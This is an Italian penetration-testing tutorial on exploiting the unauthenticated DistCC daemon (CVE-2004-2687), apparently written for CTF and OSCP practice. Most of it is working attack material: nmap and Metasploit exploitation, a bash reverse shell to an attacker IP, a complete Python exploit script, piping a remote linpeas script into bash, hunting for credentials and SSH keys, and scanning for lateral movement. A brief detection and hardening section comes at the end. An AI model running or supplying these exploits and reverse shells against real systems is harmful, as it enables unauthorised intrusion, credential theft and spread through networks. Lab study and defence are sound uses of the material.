Porta 3632 DistCC: RCE Diretta e CVE-2004-2687

DistCC è un tool che distribuisce la compilazione del codice C/C++ su più macchine in rete per velocizzare il processo di build. Ascolta sulla porta 3632 TCP e accetta richieste di compilazione da qualsiasi client. Il problema, noto dal 2004 con la CVE-2004-2687, è che DistCC nella sua configurazione di default non autentica i client e non limita cosa può essere compilato ed eseguito. Un attaccante può inviare una richiesta di “compilazione” che in realtà è un comando shell arbitrario — Remote Code Execution immediata, senza credenziali, senza exploit complessi, senza buffer overflow. Basta un singolo pacchetto TCP.

Nonostante la CVE abbia più di 20 anni, DistCC esposto e vulnerabile continua a comparire in CTF (è una macchina classica di HackTheBox e OSCP), in ambienti legacy di sviluppo e in reti interne dove il servizio è stato installato e dimenticato. È uno dei path più rapidi per ottenere una shell iniziale in un penetration test.

Come Funziona DistCC #

Developer Machine                    DistCC Daemon (:3632)
┌──────────────┐                     ┌──────────────────┐
│ distcc gcc   │                     │ distccd          │
│ -c file.c    │ ── send source ──► │ compila il file  │
│              │ ◄── return .o ────  │ ritorna l'output │
└──────────────┘                     └──────────────────┘

Flusso normale: il client invia codice sorgente, il daemon lo compila e restituisce il file oggetto.

Flusso exploit: il client invia un comando shell camuffato da richiesta di compilazione.
Il daemon lo esegue e restituisce l'output.

DistCC trust by design: il daemon esegue qualsiasi cosa il client gli manda. Non c’è autenticazione, non c’è sandbox, non c’è validazione dell’input. La fiducia è implicita — il presupposto è che solo macchine autorizzate sulla rete locale si connettano.

1. Enumerazione #

Nmap #

nmap -sV -p 3632 10.10.10.40

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4)

La versione del compilatore (GCC 4.2.4) conferma DistCC attivo. Versione vecchia di GCC → sistema probabilmente non aggiornato → più superficie di attacco per il privilege escalation post-shell.

Verifica vulnerabilità CVE-2004-2687 #

nmap -p 3632 --script=distcc-cve2004-2687 10.10.10.40

PORT     STATE SERVICE
3632/tcp open  distccd
| distcc-cve2004-2687:
|   VULNERABLE:
|   DistCC Daemon Command Execution
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2004-2687
|     Risk factor: High
|       DistCC allows executing arbitrary commands.
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687

VULNERABLE (Exploitable) — RCE confermata.

2. Exploitation — RCE Diretta #

Nmap script (il modo più rapido) #

nmap -p 3632 --script=distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='id'" 10.10.10.40

| distcc-cve2004-2687:
|   VULNERABLE:
|   DistCC Daemon Command Execution
|     Extra information:
|       uid=1001(daemon) gid=1001(daemon) groups=1001(daemon)

RCE come utente daemon. Ora ottieni una reverse shell:

# Listener sulla tua macchina
nc -lvnp 4444

# Esegui reverse shell via DistCC
nmap -p 3632 --script=distcc-cve2004-2687 \
  --script-args="distcc-cve2004-2687.cmd='bash -c \"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1\"'" \
  10.10.10.40

Metasploit #

msf6 > use exploit/unix/misc/distcc_exec
msf6 > set RHOSTS 10.10.10.40
msf6 > set LHOST 10.10.10.200
msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > run

[*] Started reverse TCP handler on 10.10.10.200:4444
[*] 10.10.10.40:3632 - Connected to the distccd
[*] Command shell session 1 opened (10.10.10.200:4444 -> 10.10.10.40:49152)

id
uid=1001(daemon) gid=1001(daemon) groups=1001(daemon)

Shell diretta. Nessuna autenticazione, nessun exploit complesso.

Python exploit manuale #

#!/usr/bin/env python3
"""DistCC RCE - CVE-2004-2687"""
import socket
import struct

def distcc_exec(host, port, cmd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    # Protocollo DistCC: DIST + versione + ARGC + argomenti
    # Il trick: il primo "argomento" è il comando da eseguire
    args = ['sh', '-c', cmd]

    payload = b'DIST00000001'
    payload += b'ARGC' + b'00000003'
    for arg in args:
        payload += b'ARGV' + f'{len(arg):08x}'.encode() + arg.encode()

    # DOTI (stdin length = 0)
    payload += b'DOTI00000000'

    s.send(payload)
    result = s.recv(4096)
    s.close()
    return result

if __name__ == '__main__':
    import sys
    host = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else 'id'
    print(distcc_exec(host, 3632, cmd).decode(errors='ignore'))

python3 distcc_rce.py 10.10.10.40 "cat /etc/passwd"

3. Post-Exploitation — Privilege Escalation #

La shell DistCC gira come utente non privilegiato (tipicamente daemon, distcc o nobody). Devi escalare a root.

Upgrade della shell #

# Dalla reverse shell grezza:
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Enumerazione per privilege escalation #

# Info sistema
uname -a
cat /etc/os-release

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Sudo
sudo -l

# Servizi in ascolto (altri target interni)
ss -tlnp

# Cron
cat /etc/crontab
ls -la /etc/cron.d/

# LinPEAS (automazione completa)
# Trasferisci linpeas.sh sulla macchina target
curl http://10.10.10.200/linpeas.sh | bash

Per la linux enumeration completa e le tecniche di privilege escalation.

Path di escalation comuni su macchine con DistCC #

DistCC si trova tipicamente su macchine di sviluppo o build server. Queste macchine spesso hanno:

• GCC con SUID (raro ma possibile) → GTFOBins
• Docker installato → l’utente daemon è nel gruppo docker? → root via container escape
• Kernel vecchio → se GCC è versione 4.x, il sistema è vecchio → cerca kernel exploit (Dirty COW, DirtyCow2, etc.)
• Credenziali in file sorgente → build server con .env, config files, .git/ con credenziali committate
• Make, cmake, script di build con sudo configurato per l’utente build

# Cerca credenziali nei file sorgente
grep -riE "password|secret|token|api_key" /home/ /opt/ /var/ 2>/dev/null | head -50

# Cerca .git repositories
find / -name ".git" -type d 2>/dev/null

# Cerca file di configurazione
find / -name "*.env" -o -name "*.conf" -o -name "*.yml" -o -name "*.ini" 2>/dev/null | head -30

Lateral movement #

Dal build server, puoi raggiungere altri sistemi:

# SSH keys dell'utente di build
find /home -name "id_rsa" -o -name "id_ed25519" 2>/dev/null

# Configurazione DistCC client (rivela altri nodi)
cat /etc/distcc/hosts 2>/dev/null
cat ~/.distcc/hosts 2>/dev/null

Il file hosts di DistCC client elenca tutti i build server del cluster → nuovi target con la stessa vulnerabilità.

# Network scan dalla macchina compromessa
for host in $(cat /etc/distcc/hosts 2>/dev/null); do
    nc -zv $host 3632 2>&1 | grep open
done

Credenziali trovate nel sorgente → testa su SSH, MySQL, SMB e RDP.

4. Detection & Hardening #

Blue Team #

- Monitor connessioni alla porta 3632 da IP non autorizzati
- Alert su comandi shell eseguiti dal processo distccd
- Log l'output dei job di compilazione
- Verifica che il processo distccd non spawni shell

Hardening #

• --allow flag — limita le connessioni a IP specifici: distccd --allow 10.10.10.0/24
• Firewall — porta 3632 raggiungibile solo dalla rete di build
• Utente dedicato con privilegi minimi — non root, non un utente con sudo
• Chroot/container — esegui distccd in un ambiente isolato
• Aggiorna — le versioni recenti di distcc (3.2+) hanno mitigazioni
• Disabilita se non usato — molti server hanno distcc installato e attivo senza che nessuno lo usi

5. Cheat Sheet Finale #

Riferimento: CVE-2004-2687, HackTricks DistCC, OSCP methodology. Uso esclusivo in ambienti autorizzati. https://www.verylazytech.com/distcc-port-3632

hackita.it/supporto — hackita.it/servizi.